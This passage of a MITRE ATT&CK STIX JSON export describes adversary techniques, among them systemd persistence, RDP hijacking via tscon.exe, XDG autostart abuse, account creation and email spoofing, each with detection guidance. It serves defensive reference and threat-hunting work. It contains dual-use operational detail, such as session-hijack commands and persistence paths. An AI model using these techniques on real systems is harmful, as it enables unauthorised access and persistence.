            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Firmware: Firmware Modification",
                "File: File Modification",
                "Windows Registry: Windows Registry Key Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b",
            "created": "2020-01-17T16:15:19.870Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1543/002",
                    "external_id": "T1543.002"
                },
                {
                    "source_name": "airwalk backdoor unix systems",
                    "description": "airwalk. (2023, January 1). A guide to backdooring Unix systems. Retrieved May 31, 2023.",
                    "url": "http://www.ouah.org/backdoors.html"
                },
                {
                    "source_name": "Anomali Rocke March 2019",
                    "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
                    "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
                },
                {
                    "source_name": "freedesktop systemd.service",
                    "description": "Free Desktop. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 20, 2023.",
                    "url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html"
                },
                {
                    "source_name": "Linux man-pages: systemd January 2014",
                    "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.",
                    "url": "http://man7.org/linux/man-pages/man1/systemd.1.html"
                },
                {
                    "source_name": "Pepe Berba Systemd 2022",
                    "description": "Pepe Berba. (2022, February 7). Hunting for Persistence in Linux (Part 5): Systemd Generators. Retrieved April 8, 2025.",
                    "url": "https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/"
                },
                {
                    "source_name": "Berba hunting linux systemd",
                    "description": "Pepe Berba. (2022, January 30). Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron. Retrieved March 20, 2023.",
                    "url": "https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/"
                },
                {
                    "source_name": "Rapid7 Service Persistence 22JUNE2016",
                    "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.",
                    "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence"
                },
                {
                    "source_name": "Elastic Security Labs Linux Persistence 2024",
                    "description": "Ruben Groenewoud. (2024, August 20). Linux Detection Engineering -  A primer on persistence mechanisms. Retrieved March 18, 2025.",
                    "url": "https://www.elastic.co/security-labs/primer-on-persistence-mechanisms"
                },
                {
                    "source_name": "lambert systemd 2022",
                    "description": "Tony Lambert. (2022, November 13). ATT&CK T1501: Understanding systemd service persistence. Retrieved March 20, 2023.",
                    "url": "https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:59:14.487Z",
            "name": "Systemd Service",
            "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.  \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service)  \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped.  \n\nAdversaries have created new service files, altered the commands a `.service` file\u2019s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016) \n\nThe `.service` file\u2019s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions. \n\nSystemd services can be created via systemd generators, which support the dynamic generation of unit files. Systemd generators are small executables that run during boot or configuration reloads to dynamically create or modify systemd unit files by converting non-native configurations into services, symlinks, or drop-ins (i.e., [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037)).(Citation: Elastic Security Labs Linux Persistence 2024)(Citation: Pepe Berba Systemd 2022)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
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            "x_mitre_contributors": [
                "Tony Lambert, Red Canary",
                "Emad Al-Mousa, Saudi Aramco",
                "Tim (Wadhwa-)Brown",
                "Ruben Groenewoud (@RFGroenewoud)"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) \n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -\u2013type=service \u2013all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd)\n\nAuditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux"
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            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Modification",
                "Service: Service Creation",
                "Service: Service Modification",
                "Process: Process Creation",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--dff263cc-328e-42b4-afbc-1fee8b6a8913",
            "created": "2025-01-31T15:22:39.317Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1668",
                    "external_id": "T1668"
                },
                {
                    "source_name": "aquasec-postgres-processes",
                    "description": "Assaf Morag. (2024, August 19). PG_MEM: A Malware Hidden in the Postgres Processes. Retrieved January 31, 2025.",
                    "url": "https://www.aquasec.com/blog/pg_mem-a-malware-hidden-in-the-postgres-processes/"
                },
                {
                    "source_name": "CERT AT Fortinent Ransomware 2025",
                    "description": "CERT Austria. (2025, March 20). Ransomware-Gruppen nutzen weiterhin kritische Fortinet-Schwachstellen - Warnung vor gepatchten, aber bereits kompromittierten Ger\u00e4ten. Retrieved March 31, 2025.",
                    "url": "https://www.cert.at/de/warnungen/2025/3/ransomware-gruppen-nutzen-weiterhin-kritische-fortinet-schwachstellen-warnung-vor-gepatchten-aber-bereits-kompromittierten-geraten"
                },
                {
                    "source_name": "fsecure-netsky",
                    "description": "F-Secure. (2004). Worm:W32/NetSky.H. Retrieved January 31, 2025.",
                    "url": "https://www.f-secure.com/v-descs/netsky-h.shtml"
                },
                {
                    "source_name": "sophos-multiple-attackers",
                    "description": "Matt Wixey. (2022, August 9). Multiple attackers increase pressure on victims, complicate incident response. Retrieved January 31, 2025.",
                    "url": "https://news.sophos.com/en-us/2022/08/09/multiple-attackers-increase-pressure-on-victims-complicate-incident-response/#:~:text=While%20some%20threat%20actors%20are%20interdependent%20%28e.g.%2C%20IABs,vulnerabilities%20or%20disabling%20vulnerable%20services%20after%20gaining%20access"
                },
                {
                    "source_name": "Mandiant-iab-control",
                    "description": "Michael Raggi, Adam Aprahamian, Dan Kelly, Mathew Potaczek, Marcin Siedlarz, Austin Larsen. (2024, March 21). Bringing Access Back \u2014 Initial Access Brokers Exploit F5 BIG-IP (CVE-2023-46747) and ScreenConnect. Retrieved January 31, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/initial-access-brokers-exploit-f5-screenconnect"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:59:14.622Z",
            "name": "Exclusive Control",
            "description": "Adversaries who successfully compromise a system may attempt to maintain persistence by \u201cclosing the door\u201d behind them  \u2013 in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system. \n\nFor example, adversaries may patch a vulnerable, compromised system(Citation: Mandiant-iab-control)(Citation: CERT AT Fortinent Ransomware 2025) to prevent other threat actors from leveraging that vulnerability in the future. They may \u201cclose the door\u201d in other ways, such as disabling vulnerable services(Citation: sophos-multiple-attackers), stripping privileges from accounts(Citation: aquasec-postgres-processes), or removing other malware already on the compromised device.(Citation: fsecure-netsky)\n\nHindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the \u201cnoise\u201d in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of [Resource Hijacking](https://attack.mitre.org/techniques/T1496), leveraging a compromised device\u2019s full power allows the threat actor to maximize profit.(Citation: sophos-multiple-attackers)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Menachem Goldstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: Process Termination",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c",
            "created": "2020-02-25T18:35:42.765Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1563/002",
                    "external_id": "T1563.002"
                },
                {
                    "source_name": "RDP Hijacking Medium",
                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
                },
                {
                    "source_name": "RDP Hijacking Korznikov",
                    "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
                    "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html"
                },
                {
                    "source_name": "TechNet Remote Desktop Services",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
                },
                {
                    "source_name": "Kali Redsnarf",
                    "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
                    "url": "https://github.com/nccgroup/redsnarf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:59:04.979Z",
            "name": "RDP Hijacking",
            "description": "Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.\n\nUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Process: Process Creation",
                "Command: Command Execution",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1136",
                    "external_id": "T1136"
                },
                {
                    "source_name": "Microsoft User Creation Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
                },
                {
                    "source_name": "Symantec WastedLocker June 2020",
                    "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us"
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            ],
            "modified": "2025-04-15T19:59:14.796Z",
            "name": "Create Account",
            "description": "Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.",
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                    "phase_name": "persistence"
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            ],
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            "x_mitre_detection": "Monitor for processes and command-line parameters associated with account creation, such as <code>net user</code> or <code>useradd</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "IaaS",
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                "Office Suite",
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            ],
            "x_mitre_version": "2.6",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "User Account: User Account Creation"
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        },
        {
            "type": "attack-pattern",
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            "id": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11",
            "created": "2019-09-10T18:13:12.195Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1547/013",
                    "external_id": "T1547.013"
                },
                {
                    "source_name": "Free Desktop Application Autostart Feb 2006",
                    "description": "Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.",
                    "url": "https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html"
                },
                {
                    "source_name": "Free Desktop Entry Keys",
                    "description": "Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved November 17, 2024.",
                    "url": "https://specifications.freedesktop.org/desktop-entry-spec/latest/recognized-keys.html"
                },
                {
                    "source_name": "Red Canary Netwire Linux 2022",
                    "description": "TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023.",
                    "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"
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            "modified": "2025-04-15T19:59:14.885Z",
            "name": "XDG Autostart Entries",
            "description": "Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user\u2019s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
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            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
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            "x_mitre_platforms": [
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                "Process: Process Creation",
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5",
            "created": "2020-10-01T00:56:25.135Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584/004",
                    "external_id": "T1584.004"
                },
                {
                    "source_name": "TrendMicro EarthLusca 2022",
                    "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.",
                    "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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            "description": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca 2022) Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.",
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
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                "Internet Scan: Response Metadata"
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            "created": "2025-03-24T16:52:14.061Z",
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                    "url": "https://attack.mitre.org/techniques/T1672",
                    "external_id": "T1672"
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                {
                    "source_name": "Cloudflare DMARC, DKIM, and SPF",
                    "description": "Cloudflare. (n.d.). What are DMARC, DKIM, and SPF?. Retrieved April 8, 2025.",
                    "url": "https://www.cloudflare.com/learning/email-security/dmarc-dkim-spf/"
                },
                {
                    "source_name": "DMARC-overview",
                    "description": "DMARC. (n.d.). Retrieved March 24, 2025.",
                    "url": "https://dmarc.org/overview"
                },
                {
                    "source_name": "ic3-dprk",
                    "description": "FBI, State Department, NSA. (2024, May 2). North Korean Actors Exploit Weak DMARC Security Policies to Mask Spearphishing Efforts. Retrieved April 2, 2025.",
                    "url": "https://www.ic3.gov/CSA/2024/240502.pdf"
                },
                {
                    "source_name": "Proofpoint TA427 April 2024",
                    "description": "Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427\u2019s Art of Information Gathering. Retrieved May 3, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering"
                },
                {
                    "source_name": "Proofpoint-DMARC",
                    "description": "Proofpoint. (n.d.). Retrieved March 24, 2025.",
                    "url": "https://www.proofpoint.com/us/threat-reference/dmarc"
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            "modified": "2025-04-15T19:59:15.222Z",
            "name": "Email Spoofing",
            "description": "Adversaries may fake, or spoof, a sender\u2019s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. \n\nThis behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.(Citation: Proofpoint TA427 April 2024)(Citation: ic3-dprk)\n\nAdversaries may abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows",
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
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        {
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            "id": "attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db",
            "created": "2019-08-30T13:01:10.120Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1526",
                    "external_id": "T1526"
                },
                {
                    "source_name": "Azure AD Graph API",
                    "description": "Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview"
                },
                {
                    "source_name": "Azure - Resource Manager API",
                    "description": "Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.",
                    "url": "https://docs.microsoft.com/en-us/rest/api/resources/"
                },
                {
                    "source_name": "Azure - Stormspotter",
                    "description": "Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.",
                    "url": "https://github.com/Azure/Stormspotter"
                },
                {
                    "source_name": "GitHub Pacu",
                    "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.",
                    "url": "https://github.com/RhinoSecurityLabs/pacu"
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            "modified": "2025-04-15T22:03:24.903Z",
            "name": "Cloud Service Discovery",
            "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\n\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).",
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            "created": "2025-03-18T12:57:50.188Z",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1204/004",
                    "external_id": "T1204.004"
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                {
                    "source_name": "AhnLab Malicioys Copy Paste 2024",
                    "description": "AhnLab SEcurity intelligence Center. (2024, May 23). Warning Against Phishing Emails Prompting Execution of Commands via Paste (CTRL+V). Retrieved April 23, 2025.",
                    "url": "https://asec.ahnlab.com/en/73952/"
                },
                {
                    "source_name": "AhnLab LummaC2 2025",
                    "description": "AhnLab SEcurity intelligence Center. (2025, January 8). Infostealer LummaC2 Spreading Through Fake CAPTCHA Verification Page. Retrieved April 23, 2025.",
                    "url": "https://asec.ahnlab.com/en/85699/"
                },
                {
                    "source_name": "Reliaquest CAPTCHA 2024",
                    "description": "Alex Capraro. (2024, December 17). Using CAPTCHA for Compromise: Hackers Flip the Script. Retrieved March 18, 2025.",
                    "url": "https://www.reliaquest.com/blog/using-captcha-for-compromise/"
                },
                {
                    "source_name": "Sekoia ClickFake 2025",
                    "description": "Amaury G., Coline Chavane, Felix Aim\u00e9 and Sekoia TDR. (2025, March 31). From Contagious to ClickFake Interview: Lazarus leveraging the ClickFix tactic. Retrieved April 1, 2025.",
                    "url": "https://blog.sekoia.io/clickfake-interview-campaign-by-lazarus/"
                },
                {
                    "source_name": "CloudSEK Lumma Stealer 2024",
                    "description": "CloudSEK TRIAD. (2024, September 19). Unmasking the Danger: Lumma Stealer Malware Exploits Fake CAPTCHA Pages. Retrieved March 18, 2025.",
                    "url": "https://www.cloudsek.com/blog/unmasking-the-danger-lumma-stealer-malware-exploits-fake-captcha-pages"
                },
                {
                    "source_name": "Proofpoint ClickFix 2024",
                    "description": "Tommy Madjar, Selena Larson and The Proofpoint Threat Research Team. (2024, November 18). Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape. Retrieved March 18, 2025.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape"
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            "modified": "2025-04-30T17:53:48.667Z",
            "name": "Malicious Copy and Paste",
